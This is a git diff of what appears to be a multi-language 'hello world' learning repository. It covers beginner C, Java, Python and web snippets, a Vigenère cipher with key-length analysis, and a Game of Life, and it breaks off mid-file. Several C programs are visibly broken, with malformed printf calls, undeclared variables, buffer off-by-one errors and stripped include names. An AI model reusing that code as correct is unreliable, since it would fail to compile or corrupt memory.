index 80c4e8870..c230d0be6 100644 --- a/C/Factorial +++ b/C/Factorial @@ -1,24 +1,44 @@ -#include +//THIS METHOD WILL WORK IF YOU WANT FACTORIAL OF LARGE NUMBERS. +//THIS IS JUST HOW WE DO IN MULTIPLICICATION. +#include +int a[2000],f[2000],g[2000],c[2000]; + int main() { - int n, i; - unsigned long long factorial = 1; - - printf("Enter an integer: "); - scanf("%d",&n); - - // show error if the user enters a negative integer - if (n < 0) - printf("Error! Factorial of a negative number doesn't exist."); - - else - { - for(i=1; i<=n; ++i) - { - factorial *= i; // factorial = factorial*i; +PRINTF("ENTER ANY POSITIVE INTEGER:") + int n,d,b,e,a1,f1,g1,c1,i,j,q; + scanf("%d",&n); + a[0]=1; +for(i=2;i<=n;i++) +{ +c1=0;f1=0;g1=0;a1=0; + d=i%10;b=(i/10)%10;e=(i/100)%10; +for(j=0;j<2000;j++) + { + c[j]=a[j]*d+c1; + c1=c[j]/10; + c[j]=c[j]%10; + f[j+1]=a[j]*b+f1; + f1=f[j+1]/10; + f[j+1]=f[j+1]%10; + g[j+2]=a[j]*e+g1; + g1=g[j+2]/10; + g[j+2]=g[j+2]%10; + a[j]=c[j]+f[j]+g[j]+a1; + a1=a[j]/10; + a[j]=a[j]%10; } - printf("Factorial of %d = %llu", n, factorial); - } - return 0; + +} +for(j=2000;j>=0;j--) +if(a[j]>0) +{ +q=j; +break; +} +printf("FACTORIAL OF %d IS:"n); +for(j=q;j>=0;j--) +printf("%d",a[j]); +return 0; } diff --git a/C/H33L0_w0rld.c b/C/H33L0_w0rld.c index 03f4a12cd..dd96ac1db 100644 --- a/C/H33L0_w0rld.c +++ b/C/H33L0_w0rld.c @@ -1,7 +1,5 @@ #include - int main() { - printf("Hello World"); - return 0; - } + printf("C C CCC C C CCC C C CCC CCC C C\nC C C C C C C C C C C C C C CC\nCCCC CCC C C C C C C C C C CCC C C C\nC C C C C C C CC CC C C CC C CC\nC C CCC CCC CCC CCC C C CCC C C CCC C\n"); + return 0;} diff --git a/C/Hello_world.c b/C/Hello_world.c index 35dd43bf3..5cbbc68c2 100644 --- a/C/Hello_world.c +++ b/C/Hello_world.c @@ -1,7 +1,5 @@ -#include - -int main(void) -{ - printf("Hello World"); - return 0; -} +#include +int main(){ + printf("Hello, World!\n"); + return 0; +} diff --git a/C/Reverse of a number b/C/Reverse of a number new file mode 100644 index 000000000..ab3e3db29 --- /dev/null +++ b/C/Reverse of a number @@ -0,0 +1,16 @@ +#include +int main() +{ + int n,a=0,b; + scanf("%d",&n); + while (n != 0) + { + a = a * 10; + a = a + n%10; + n = n/10; + } + + printf("Reverse of entered number is = %d\n",a); + + return 0; +} diff --git a/C/Sorting an array in descending order b/C/Sorting an array in descending order new file mode 100644 index 000000000..4628fba06 --- /dev/null +++ b/C/Sorting an array in descending order @@ -0,0 +1,29 @@ +#include + +int main(void) { + int n; + scanf("%d",&n); + int a[n],i,j,temp; + for(i=0;i +int main() +{ + int c, n; + unsigned long fact = 1; + printf("Enter a number to calculate its factorial\n"); + scanf("%d", &n); + for (c = n; c >= 1; c--) + fact *= c; + printf("Factorial of %d = %lu\n", n, fact); + return 0; +} diff --git a/C/bubbleSortC/bubbleSort b/C/bubbleSortC/bubbleSort index e97f5ed4d..b0e8bfd47 100644 --- a/C/bubbleSortC/bubbleSort +++ b/C/bubbleSortC/bubbleSort @@ -1,6 +1,6 @@ #include -void main() +int main() { int array[100], n, c, d, swap; @@ -30,5 +30,5 @@ void main() for (c = 0; c < n; c++) printf("%d\n", array[c]); - -} +//it is habit to write return 0 . +return 0;} diff --git a/C/fabonacci.c b/C/fabonacci.c index 19377422a..e0ef077e0 100755 --- a/C/fabonacci.c +++ b/C/fabonacci.c @@ -2,28 +2,16 @@ int main() { - int n; - int i; - int a; - int b; - int hold; - a=0; - b=1; - printf("Enter the n value "); - scanf("%d",&n); - - i=2; - hold =0; - printf("0 "); - while(i<=n) + int a=0,b=1,c,n,i; + printf("Enter the length of series:"); + scanf("%d ",&n); + printf("The series is "); + for(i=1;i<=n;i++) { - hold = a+b; - printf("%d ",hold); + printf("%d ",a); + c=a+b; a=b; - b=hold; - i++; + b=c; } - - printf("\n"); return 0; } diff --git a/C/factors.c b/C/factors.c index aa182175b..80a66cf47 100755 --- a/C/factors.c +++ b/C/factors.c @@ -1,18 +1,19 @@ #include - +int a[100000]; int main(){ - // Factors of a value - int num,i; - - printf("Enter a value to calculate "); - scanf("%d",&num); - for(i=1;i<=num;i++) - { - if(num%i==0) - printf("%d ",i); - } - - printf("\n"); - return 0; -} + int n,i; + scanf("%d",&n); + //smallest prime factor of any number i + for(i=2;i<=n;i++) + { if(a[i]==0) + for(j=i;j<=n;j+=i) + a[j]=i; + } + //prime factors of number n. + while(n!=0) + { + printf("%d ",a[n]); + n=n/a[n]; + } + return 0;} diff --git a/C/hello_world_in_c.c b/C/hello_world_in_c.c new file mode 100644 index 000000000..d8da4be7a --- /dev/null +++ b/C/hello_world_in_c.c @@ -0,0 +1,5 @@ +#include +int main(){ +printf("HELLO WORLD"); +return 0; +} diff --git a/C/swap.c b/C/swap.c index 3b8460481..3b405da84 100644 --- a/C/swap.c +++ b/C/swap.c @@ -1,3 +1,4 @@ + #include int main() { @@ -8,13 +9,13 @@ int main() printf(" Enter Second Number : "); scanf("%d" , &m); - c=a; - a=m; - m=c; + a=a+m; + m=a-m; + a=a-m; printf(" After swapping ...\n\n"); printf(" First Number:%d",a); - printf("\n Second Number:%d",m); + printf("\n Second Number:%d\n",m); return 0; } diff --git a/C/vigenere.c b/C/vigenere.c new file mode 100644 index 000000000..2a6935bb1 --- /dev/null +++ b/C/vigenere.c @@ -0,0 +1,184 @@ +/********************************************** + * Author: Tran Tat Huy - ICT58 * + * Hanoi University of Science and Technology * + **********************************************/ +#include +#include +#include +#include + +#define epsilon 0.006 +#define EnglishIC 0.067 +char *key = "luck"; +char dict[27] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','\0'}; + +char* encode(char *msg){ + char* cipher = (char*)malloc(sizeof(char)*strlen(msg)); + int i; + for (i = 0; i < strlen(msg); ++i) { + if (msg[i] < 'a' || msg[i] > 'z'){ + cipher[i] = msg[i]; + } + else{ + cipher[i] = dict[(msg[i] - 'a' + key[i%strlen(key)] - 'a')% 26]; + } + } + return cipher; +} + +double calculateIC(char *msg){ + int N = 0; + int c = 26; + int f[26]; + int sum = 0; + //initialize + for (int i = 0; i < 26; ++i) { + f[i] = 0; + } + //count frequency and number of char + for (int i = 0; i < strlen(msg); ++i) { + if (msg[i] >= 'a' && msg[i] <= 'z'){ + f[msg[i]-'a']++; + N++; + } + } + //sum of English alphabet + for (int i = 0; i < 26; ++i) { + sum = sum + f[i] * (f[i]-1); + + } + return (double)sum/(N*(N-1)); +} + +//Dynamic Array style +int findLength_DA(char *ciphertext){ + int keyLength = 1,i; + while(keyLength < 10){ + printf("\nkeylength = %d\n",keyLength); + char **c = malloc( keyLength * sizeof( char* )); + if (( c = malloc( keyLength * sizeof( char* ))) == NULL ) { return 0; } + + //initialize multi-D array + int numberOfRow = keyLength; + for (i = 0; i < keyLength; i++) { + c[i] = malloc( (strlen(ciphertext) / numberOfRow) * sizeof(char) ); + if ((c[i] = malloc(sizeof(char) * (strlen(ciphertext) / numberOfRow))) == NULL) { + printf("fail to malloc array\n"); + } + } + //distribute cipher text into subgroups + int start = 0; + while (numberOfRow > 0) { + int index = 0; + for (i = start+numberOfRow-1; i < strlen(ciphertext); i=i+keyLength) { + if(ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){ + c[numberOfRow][index] = ciphertext[i]; + index++; + } + } + numberOfRow--; + } + + double averageIC; + double sum = 0; + for (int j = 0; j < keyLength; ++j) { + sum = sum + calculateIC(c[j]); + } + printf("Sum of ICs = %f\n",sum); + averageIC = sum/keyLength; + printf("average IC = %f\n",averageIC); + if(abs(averageIC - EnglishIC) <= epsilon) return keyLength; + keyLength++; + } + return 0; +} + +//String Array style +char* stradd(const char* a, const char* b){ + size_t len = strlen(a) + 1; + char *ret = (char*)malloc(len * sizeof(char) + 1); + *ret = '\0'; + return strcat(strcat(ret, a) ,b); +} + +double abs_double(double a, double b){ + if((a-b)<0) return (b-a); + return (a-b); +} + +int findLength_SA(char *ciphertext){ + int keyLength = 1,i; + while(keyLength < 10){ + printf("\n======================================\n"); + printf("ATTEMP KEY LENGTH = %d\n",keyLength); + char *c = (char*)malloc(sizeof(char)); + + //distribute cipher text into subgroups + int numberOfRow = keyLength; + int start = 0, count = 0; + while (numberOfRow > 0) { + //sub-cipher-text extraction + for (i = start+numberOfRow-1; i < strlen(ciphertext); i=i+keyLength) { + if(ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){ + //printf("|%d %c",i,ciphertext[i]); + size_t len = strlen(c); + c = realloc(c,len + 1 + 1 ); /* one for extra char, one for trailing zero */ + c[len] = ciphertext[i]; + c[len + 1] = '\0'; + } + } + //calculate IC + double subcipherIC = calculateIC(c); + printf("\nBlah: %s\n",c); + printf("IC of subgroup %d = %f\n",numberOfRow,subcipherIC); + if(abs_double(subcipherIC,EnglishIC) <= epsilon ) count++; + printf("The different: %f\n",abs_double(subcipherIC,EnglishIC)); + if(count == keyLength) + return keyLength; + numberOfRow--; + } + + keyLength++; + } + return 0; +} + + +int main(){ + char *msg = "the first thing to note is that there is no guarantee that the period of key\n that we find is the actual key used. If the message is very long we can be\n almost certain of being correct, but the methods provided here are approximate."; + /* + char *msg = "A minute examination of the circumstances\nserved only to make the case more complex. In\nthe first place, no reason could be given why the\nyoung man should have fastened the door upon\n" + +"the inside. There was the possibility that the murderer\nhad done this and had afterwards escaped\n" + +"by the window. The drop was at least twenty feet,\nhowever, and a bed of crocuses in full bloom lay\n" + +"beneath. Neither the flowers nor the earth showed\nany sign of having been disturbed, nor were there\n" + +"any marks upon the narrow strip of grass which\nseparated the house from the road. Apparently,\n" + +"therefore, it was the young man himself who had\nfastened the door. But how did he come by his\n" + +"death? No one could have climbed up to the window\nwithout leaving traces. Suppose a man had\n" + +"fired through the window, it would indeed be a remarkable\n" + +"shot who could with a revolver inflict so\n" + +"deadly a wound. Again, Park Lane is a frequented\n" + +"thoroughfare, and there is a cab-stand within a\n" + +"hundred yards of the house. No one had heard a\n" + +"shot. And yet there was the dead man, and there\n" + +"the revolver bullet, which had mushroomed out, as\n" + +"soft-nosed bullets will, and so inflicted a wound\n" + +"which must have caused instantaneous death. Such\n" + +"were the circumstances of the Park Lane Mystery,\n" + +"which were further complicated by entire absence\n" + +"of motive, since, as I have said, young Adair was\n" + +"not known to have any enemy, and no attempt had\n" + +"been made to remove the money or valuables in\n" + +"the room"; + + for(int i = 0; msg[i]; i++){ + msg[i] = tolower(msg[i]); + } + */ + printf(">>The original text:\n\n%s\n",msg); + printf("\nThe IC: %f\n",calculateIC(msg)); + printf("================================================================================\n"); + printf(">>The cipher text:\n\n%s\n",encode(msg)); + //DA - Dynamic Array || SA - String Array + printf("The length of key is: %d\n",findLength_SA(encode(msg))); + return 0; +} \ No newline at end of file diff --git a/CSharp/DontClose.sln b/CSharp/DontClose.sln new file mode 100644 index 000000000..c56dc81e6 --- /dev/null +++ b/CSharp/DontClose.sln @@ -0,0 +1,28 @@ +using System; + namespace DontClose +{ + public partial class DontClose : Form + { + + public DontClose() + { + InitializeComponent(); + this.FormClosing += new FormClosingEventHandler(DontClose_FormClosing); + } + + private void DontClose_FormClosing(object sender, System.Windows.Forms.FormClosingEventArgs e) + { + string textExit = "Do not leave us :("; + string exitTab = "Are you sure?"; + + if (MessageBox.Show(textExit, exitTab, MessageBoxButtons.YesNo, MessageBoxIcon.Question) == System.Windows.Forms.DialogResult.Yes) + { + } + else + { + e.Cancel = true; + } + } + + } +} diff --git a/CSharp/HelloWorld/Program.cs b/CSharp/HelloWorld/Program.cs new file mode 100644 index 000000000..93c5f17a6 --- /dev/null +++ b/CSharp/HelloWorld/Program.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace HelloWorld +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine("Hello World!"); + Console.ReadKey(); + } + } +} diff --git a/Cpp/min_hello_world.cpp b/Cpp/min_hello_world.cpp index f879b2321..5554dc962 100644 --- a/Cpp/min_hello_world.cpp +++ b/Cpp/min_hello_world.cpp @@ -6,4 +6,4 @@ int main() return 0; } -output: Hello World! +// output: Hello World! diff --git a/Cuneiform/helloworld-cuneiform.txt b/Cuneiform/helloworld-cuneiform.txt new file mode 100644 index 000000000..e26de1679 --- /dev/null +++ b/Cuneiform/helloworld-cuneiform.txt @@ -0,0 +1,6 @@ +def greet( person : Str ) -> +in Bash *{ + out="Hello $person" +}* + +( greet( person = "world" )|out ); diff --git a/Docker/build_hello_world.dockerfile b/Docker/build_hello_world.dockerfile new file mode 100644 index 000000000..2cbb8450f --- /dev/null +++ b/Docker/build_hello_world.dockerfile @@ -0,0 +1,3 @@ +FROM debian + +RUN ["echo", "'hello world'"] \ No newline at end of file diff --git a/Elixir/reverse_list.exs b/Elixir/reverse_list.exs new file mode 100644 index 000000000..1dac022eb --- /dev/null +++ b/Elixir/reverse_list.exs @@ -0,0 +1,11 @@ +defmodule MyList do + def reverse(list) do + reverse(list, []) + end + + defp reverse([], result), do: result + defp reverse([h|t], result) do + reversed = [h] ++ result + reverse(t, reversed) + end +end diff --git a/From India/Namaste Duniya.py b/From India/Namaste Duniya.py index 8be56ee6c..f9c8eadf6 100644 --- a/From India/Namaste Duniya.py +++ b/From India/Namaste Duniya.py @@ -1 +1 @@ -print("Namaste Duniya form India") +print("Namaskar Sansar from India") diff --git a/HAL-S/hello-world.hal b/HAL-S/hello-world.hal new file mode 100644 index 000000000..274777a1e --- /dev/null +++ b/HAL-S/hello-world.hal @@ -0,0 +1,8 @@ +file :display + +function :main +open :display +push :'Hello World +write :display +newline :display +return :'OK diff --git a/Haskell/showDate.hs b/Haskell/showDate.hs new file mode 100644 index 000000000..3c4318531 --- /dev/null +++ b/Haskell/showDate.hs @@ -0,0 +1,3 @@ +import Data.Time + +main = getCurrentTime >>= print diff --git a/Haxe/GameOfLife/Main.hx b/Haxe/GameOfLife/Main.hx new file mode 100644 index 000000000..12b9615d1 --- /dev/null +++ b/Haxe/GameOfLife/Main.hx @@ -0,0 +1,36 @@ +package; + +import World; + +class Main { + // run with haxe -x Main.hx + static public function main():Void { + var w = new World(20, 20); + + w.set(3, 3, true); + w.set(4, 4, true); + w.set(4, 5, true); + w.set(3, 5, true); + w.set(2, 5, true); + + trace("Hello world"); + + while (true) { + Sys.command("clear"); + + printWorld(w); + + Sys.sleep(0.500); + w.step(); + } + } + + static public function printWorld(w:World) { + trace(Math.random()); + for (row in w.m) { + trace(row.map(function(v) { + return v ? "x" : " "; + }).join("")); + } + } +} diff --git a/Haxe/GameOfLife/World.hx b/Haxe/GameOfLife/World.hx new file mode 100644 index 000000000..2c5551db4 --- /dev/null +++ b/Haxe/GameOfLife/World.hx @@ -0,0 +1,59 @@ +package; + +class World { + public var m:Array>; + public var height:Int; + public var width:Int; + + public function new(height:Int = 10, width:Int = 10) { + this.height = height; + this.width = width; + this.m = new Array(); + for (y in 0...height) { + m[y] = new Array(); + for (x in 0...width) + m[y][x] = false; + } + } + + public function set(x, y, v) { + m[y][x] = v; + } + + public function get(x, y) { + if (x < 0 || y < 0 || x >= width || y >= height) + return false; + else + return m[y][x]; + } + + public function step() { + var next = new Array(); + for (y in 0...height) { + next[y] = new Array(); + for (x in 0...width) { + var neighbours:Int = getNeighbours(x, y); + if (m[y][x]) { + next[y][x] = neighbours == 2 || neighbours == 3; + } else { + next[y][x] = neighbours == 3; + } + } + } + + this.m = next; + } + + public function getNeighbours(x, y) { + return [ + get(x - 1, y - 1), + get(x - 1, y), + get(x - 1, y + 1), + get(x, y - 1), + get(x, y + 1), + get(x + 1, y - 1), + get(x + 1, y), + get(x + 1, y + 1) + ].filter(function(e) return e).length; + } +} diff --git a/Hello world python/ggasconn-helloWorld.py b/Hello world python/ggasconn-helloWorld.py new file mode 100644 index 000000000..09907203e --- /dev/null +++ b/Hello world python/ggasconn-helloWorld.py @@ -0,0 +1 @@ +print('Hello, World!') diff --git a/Hello world python/not_friendly_helloworld.py b/Hello world python/not_friendly_helloworld.py new file mode 100644 index 000000000..6af13062a --- /dev/null +++ b/Hello world python/not_friendly_helloworld.py @@ -0,0 +1,4 @@ +import base64 +import subprocess + +subprocess.Popen("base64 --decode".split() ,stdin=subprocess.Popen("echo SGVsbG8gV29ybGQ=".split(), stdout=subprocess.PIPE).stdout).communicate()[0] diff --git a/Hi_the_simplest_way/the_simplest_way_ever.py b/Hi_the_simplest_way/the_simplest_way_ever.py new file mode 100644 index 000000000..dd62a760f --- /dev/null +++ b/Hi_the_simplest_way/the_simplest_way_ever.py @@ -0,0 +1,55 @@ +StarWarsOpeningCrawl = '''A long time ago, in a galaxy far, far away... + +It is a period of civil war. Rebel +spaceships, striking from a hidden +base, have won their first victory +against the evil Galactic Empire. + +During the battle, Rebel spies managed +to steal secret plans to the Empire's +ultimate weapon, the Death Star, an +armored space station with enough +power to destroy an entire planet. + +Pursued by the Empire's sinister agents, +Princess Leia races home aboard her +starship, custodian of the stolen plans +that can save her people and restore +freedom to the galaxy.... + +...and there is no 'j' nor 'z' nor even '!' in this text''' + +StarWarsOpeningCrawl = StarWarsOpeningCrawl.lower() +StarWarsOpeningCrawl = list(StarWarsOpeningCrawl) +StarWarsOpeningCrawl.sort() + +AtoZ_dict = {} +index = 0 +index_2 = 25 + +for char in StarWarsOpeningCrawl: + if char.isalpha(): + if char not in AtoZ_dict: + AtoZ_dict[char] = index + index += 1 + else: + if char not in AtoZ_dict: + AtoZ_dict[char] = index_2 + index_2 += 1 + +do_it_simple = 'Hello world!!' +like_a_boss = [] + + +for letter in do_it_simple: + like_a_boss.append(AtoZ_dict[letter.lower()]) + + +space = ' ' +for number in like_a_boss: + if number == 26: + space = ' ' + for key in AtoZ_dict.keys(): + if AtoZ_dict[key] == number: + print(space+str(key.upper())) + space += space diff --git a/Hindi/hello_world_hindi.txt b/Hindi/hello_world_hindi.txt index 09b8e8f69..63f7b4ac0 100644 --- a/Hindi/hello_world_hindi.txt +++ b/Hindi/hello_world_hindi.txt @@ -1 +1,3 @@ -नमस्ते दुनिया \ No newline at end of file +@AyushRaj1 art - imyourayushraj123@gmail.com + +Hello world advanced glitch effect diff --git a/Hindi/helloworld Hindi/css/style.css b/Hindi/helloworld Hindi/css/style.css new file mode 100644 index 000000000..26cdc1155 --- /dev/null +++ b/Hindi/helloworld Hindi/css/style.css @@ -0,0 +1,18 @@ +html, body { + padding: 0px; + margin: 0px; + background: #191a1d; + font-family: 'VT323', monospace; + color: #FFF; + height: 100%; +} + +canvas { + background: none; + margin: auto; + position: fixed; + left: 50%; + top: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} diff --git a/Hindi/helloworld Hindi/index.html b/Hindi/helloworld Hindi/index.html new file mode 100644 index 000000000..0f5bd882b --- /dev/null +++ b/Hindi/helloworld Hindi/index.html @@ -0,0 +1,44 @@ + + + + + + glitch hello world + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Hindi/helloworld Hindi/index.pug b/Hindi/helloworld Hindi/index.pug new file mode 100644 index 000000000..5277c2a72 --- /dev/null +++ b/Hindi/helloworld Hindi/index.pug @@ -0,0 +1 @@ +canvas \ No newline at end of file diff --git a/Hindi/helloworld Hindi/js/index.js b/Hindi/helloworld Hindi/js/index.js new file mode 100644 index 000000000..434fdfcf2 --- /dev/null +++ b/Hindi/helloworld Hindi/js/index.js @@ -0,0 +1,47 @@ +document.body.onload = function() { + var canvasHidden = document.createElement('canvas') + var ctxHidden = canvasHidden.getContext('2d') + var canvasShown = document.querySelector('canvas') + canvasShown.width = 800 + canvasShown.height = 400 + var ctxShown = canvasShown.getContext('2d') + + + + function init() { + canvasHidden.width = 800 + canvasHidden.height = 400 + + ctxHidden.clearRect(0, 0, ctxHidden.width, ctxHidden.height) + ctxHidden.textAlign = 'center' + ctxHidden.textBaseLine = 'middle' + ctxHidden.font = 'bold 100px VT323, monospace' + ctxHidden.fillStyle = '#F44'; + + ctxHidden.fillText('Namaskar Sansar', canvasHidden.width/2, canvasHidden.height/2) + + ctxShown.clearRect(0, 0, canvasShown.width, canvasShown.height) + ctxShown.drawImage(canvasHidden, 0, 0) + var i = 10; while(i--){ glitch() } + } + + function glitch() { + var width = 100 + Math.random()*100 + var height = 50 + Math.random()*50 + + var x = Math.random()*canvasHidden.width + var y = Math.random()*canvasHidden.height + + var dx = x + (Math.random() * 40 - 20) + var dy = y + (Math.random() * 30 - 15) + + ctxShown.clearRect(x, y, width, height) + ctxShown.fillStyle = '#4a6'; + //ctxShown.fillRect(x, y, width, height) + ctxShown.drawImage(canvasHidden, x, y, width, height, dx, dy, width, height) + } + + setInterval(function() { + init() + }, 1000/15) +} \ No newline at end of file diff --git a/Hindi/helloworld Hindi/scss/style.scss b/Hindi/helloworld Hindi/scss/style.scss new file mode 100644 index 000000000..131628a61 --- /dev/null +++ b/Hindi/helloworld Hindi/scss/style.scss @@ -0,0 +1,18 @@ +html, body{ + padding:0px; + margin:0px; + background:#191a1d; + font-family: 'VT323', monospace; + color:#FFF; + height:100%; +} + +canvas { + background:none; + margin:auto; + position:fixed; + left:50%; + top:50%; + transform:translateX(-50%) translateY(-50%); + +} \ No newline at end of file diff --git a/Html/HelloWorldFromParaguay.html b/Html/HelloWorldFromParaguay.html new file mode 100644 index 000000000..304b3cfe0 --- /dev/null +++ b/Html/HelloWorldFromParaguay.html @@ -0,0 +1,19 @@ + + + + + + + Hello World + + +
+
+

Hello World from Paraguay!

+
+

+ I'm Dave Ramirez frontend developer from Paraguay! ♥ +

+
+ + \ No newline at end of file diff --git a/Html/HelloWorldInParaguay.html b/Html/HelloWorldInParaguay.html new file mode 100644 index 000000000..304b3cfe0 --- /dev/null +++ b/Html/HelloWorldInParaguay.html @@ -0,0 +1,19 @@ + + + + + + + Hello World + + +
+
+

Hello World from Paraguay!

+
+

+ I'm Dave Ramirez frontend developer from Paraguay! ♥ +

+
+ + \ No newline at end of file diff --git a/Html/helloworld-textcolor.html b/Html/helloworld-textcolor.html new file mode 100644 index 000000000..6e2430938 --- /dev/null +++ b/Html/helloworld-textcolor.html @@ -0,0 +1,10 @@ + + + +Hello World to Hacktoberfest 2018 + + +

>> Hello World <<

+

HacktoberfesT 2018

+ + \ No newline at end of file diff --git a/Indonesia/README.md b/Indonesia/README.md new file mode 100644 index 000000000..6cae964b0 --- /dev/null +++ b/Indonesia/README.md @@ -0,0 +1,11 @@ +# Republic of Indonesia + +This directory is intended for writing "hello world" in programming language using languages in the Indonesia :) + + +Hey you, Just wanna let you know. +If now you asking people with *Do you speak Bahasa?*, this question is not right. +The correct question should be *Do you speak Bahasa Indonesia?*. + +Because if you using `Do you speak bahasa?` this is same as `do you speak *language*?` :) + diff --git a/Indonesia/hello_world_in_indonesia.py b/Indonesia/hello_world_in_indonesia.py new file mode 100644 index 000000000..74de4579b --- /dev/null +++ b/Indonesia/hello_world_in_indonesia.py @@ -0,0 +1,2 @@ +# Hello world!, greetings from indonesia. +print("Halo Dunia!, Salam dari indonesia.") diff --git a/Indonesia/hello_world_in_javanese.py b/Indonesia/hello_world_in_javanese.py new file mode 100644 index 000000000..157f76b36 --- /dev/null +++ b/Indonesia/hello_world_in_javanese.py @@ -0,0 +1,9 @@ +# Hello world!, greetings from Java, Indonesia. + +# Use this when you talk with `friend's` +# This is called `jawa ngoko` +print('Halo Dunyo!, Salam soko jawa, Indonesia.') + +# Use this when you talk with `old people` +# This is called `jawa krama` +print('Halo Dunyo!, Salam saking jawa, Indonesia.') diff --git a/Indonesia/hello_world_in_sundanese.py b/Indonesia/hello_world_in_sundanese.py new file mode 100644 index 000000000..3bca68adc --- /dev/null +++ b/Indonesia/hello_world_in_sundanese.py @@ -0,0 +1,3 @@ +# Hello world!, greetings from Sunda, Indonesia. +print('Halo Dunya!, Wilujeung ti Sunda, Indonesia.') + diff --git a/Java/BINARY TO DECIMAL b/Java/BINARY TO DECIMAL new file mode 100644 index 000000000..7758f003c --- /dev/null +++ b/Java/BINARY TO DECIMAL @@ -0,0 +1,19 @@ +import java.util.Scanner; + +public class Main { + + public static void main(String[] args) { + // Write your code here + Scanner str = new Scanner(System.in); + int binary = str.nextInt(); + int decimal = 0; + int r = 1; + while (binary > 0) { + decimal = decimal + ((binary)%10)*r; + r=r*2; + binary = binary/10; + } + + System.out.println(decimal); + } +} diff --git a/Java/BinarySearch2DArray.java b/Java/BinarySearch2DArray.java new file mode 100644 index 000000000..7e9c1ce95 --- /dev/null +++ b/Java/BinarySearch2DArray.java @@ -0,0 +1,54 @@ +import java.util.*; +import java.lang.*; +import java.io.*; + +class BinarySearch2DArray +{ + public static int get(int in[][], int index) + { + int r = index / in[0].length; + int c = index % in[0].length; + //System.out.println("Get ==> index: " + index + " r: " + r + " c: " + c); + return in[r][c]; + } + + public static boolean contains(int in[][], int val) + { + int start = 0; + int end = in.length * in[0].length - 1; + int mid; + while (start <= end) + { + mid = (end + start) / 2; + //System.out.println(start + " " + end + " " + mid); + if (get(in, mid) > val) + { + end = mid - 1; + } + else if (get(in, mid) < val) + { + start = mid + 1; + } + else + { + return true; + } + } + + return false; + } + public static void main (String[] args) throws java.lang.Exception + { + int in[][] = new int[][]{{1, 2, 3}, {5, 6, 9}}; + System.out.println("1: " + contains(in, 1)); + System.out.println("2: " + contains(in, 2)); + System.out.println("3: " + contains(in, 3)); + System.out.println("4: " + contains(in, 4)); + System.out.println("5: " + contains(in, 5)); + System.out.println("6: " + contains(in, 6)); + System.out.println("7: " + contains(in, 7)); + System.out.println("8: " + contains(in, 8)); + System.out.println("9: " + contains(in, 9)); + System.out.println("10: " + contains(in, 10)); + } +} \ No newline at end of file diff --git a/Java/Binary_Search.java b/Java/Binary_Search.java new file mode 100644 index 000000000..61e615aa9 --- /dev/null +++ b/Java/Binary_Search.java @@ -0,0 +1,33 @@ +class BinarySearch +{ + int binarySearch(int arr[], int x) + { + int l = 0, r = arr.length - 1; + while (l <= r) + { + int m = l + (r-l)/2; + if (arr[m] == x) + return m; + if (arr[m] < x) + l = m + 1; + else + r = m - 1; + } + return -1; + } + + public static void main(String args[]) + { + BinarySearch obj = new BinarySearch(); + int arr[] = {2, 3, 4, 10, 12, 24, 53, 64, 65, 94}; + int n = arr.length; + int x = 12; + int result = obj.binarySearch(arr, x); + if (result == -1) + System.out.println("Element not present"); + else + System.out.println("Element found at " + + "index " + result); + } +} + diff --git a/Java/DataStructure/Arrays/StringOfNBit b/Java/DataStructure/Arrays/StringOfNBit new file mode 100644 index 000000000..4a881ce97 --- /dev/null +++ b/Java/DataStructure/Arrays/StringOfNBit @@ -0,0 +1,24 @@ + +import java.util.Arrays; + +public class StringsOfNBit { + char[] arr; + + public static void main(String[] args) { + StringsOfNBit stringsOfNBit = new StringsOfNBit(); + int number = 5; + stringsOfNBit.arr = new char[number]; + stringsOfNBit.GenerateBinaryStringOfNBit(number); + } + + public void GenerateBinaryStringOfNBit(int number) { + if (number < 1) { + System.out.println(Arrays.toString(arr)); + } else { + arr[number - 1] = '0'; + GenerateBinaryStringOfNBit(number - 1); + arr[number - 1] = '1'; + GenerateBinaryStringOfNBit(number - 1); + } + } +} diff --git a/Java/HTTPServer/SimpleHTTPServer.java b/Java/HTTPServer/SimpleHTTPServer.java new file mode 100644 index 000000000..882497528 --- /dev/null +++ b/Java/HTTPServer/SimpleHTTPServer.java @@ -0,0 +1,34 @@ +/* Creating a Simple HTTP Server + + */ + +import java.net.InetSocketAddress; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +import com.sun.net.httpserver.HttpServer; + +public class SimpleHTTPServer { + + public static void main(String[] args) throws Exception { + DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern("yyyy/MM/dd HH:mm:ss"); + + int port = 8000; + HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); + server.createContext("/ping", new PingHandler()); + server.createContext("/Get", new GetHandler()); + server.setExecutor(null); // creates a default executor + server.start(); + + System.out.println(dateTimeFormatter.format(LocalDateTime.now()) + ": Server Started at port : " + port ); + } +} + +/* +test with +http://localhost:8000/ping + +we can't open a port below 1024, without root privileges +the port should be higher than 1024, if running the code under a non-root user. +*/ + diff --git a/Java/HelloWorld/hello-femi b/Java/HelloWorld/hello-femi new file mode 100644 index 000000000..84864c53b --- /dev/null +++ b/Java/HelloWorld/hello-femi @@ -0,0 +1,5 @@ +public class hello{ + public static void main(String [] args){ + System.out.println("Hello Femi"); + } +} diff --git a/Java/InputExample.java b/Java/InputExample.java new file mode 100644 index 000000000..0a1f6ee78 --- /dev/null +++ b/Java/InputExample.java @@ -0,0 +1,33 @@ +import java.util.Scanner; //needed for scanner class + +public class InputExample +{ + public static void main (String [] args) + + { + String name; + int age; + double salary; + + //create a scanner object to read input + Scanner keyboard = new Scanner(System.in); + + + //get user's name + System.out.print("What is your name? "); + name = keyboard.nextLine(); + System.out.println("Hello, " + name + "."); + + + //get the user's age + System.out.print("What is your age? "); + age = keyboard.nextInt(); + System.out.println("I see that you are " + age + " years old."); + + //get the user's salary + System.out.print("What is your annual salary?"); + salary = keyboard.nextDouble(); + System.out.println(name + ", " + age + " years old, earns " +salary + " dollars per year."); + + } +} diff --git a/Java/RomanNumeral.java b/Java/RomanNumeral.java new file mode 100644 index 000000000..3bd9d595e --- /dev/null +++ b/Java/RomanNumeral.java @@ -0,0 +1,52 @@ +import java.util.Scanner; // Needed for 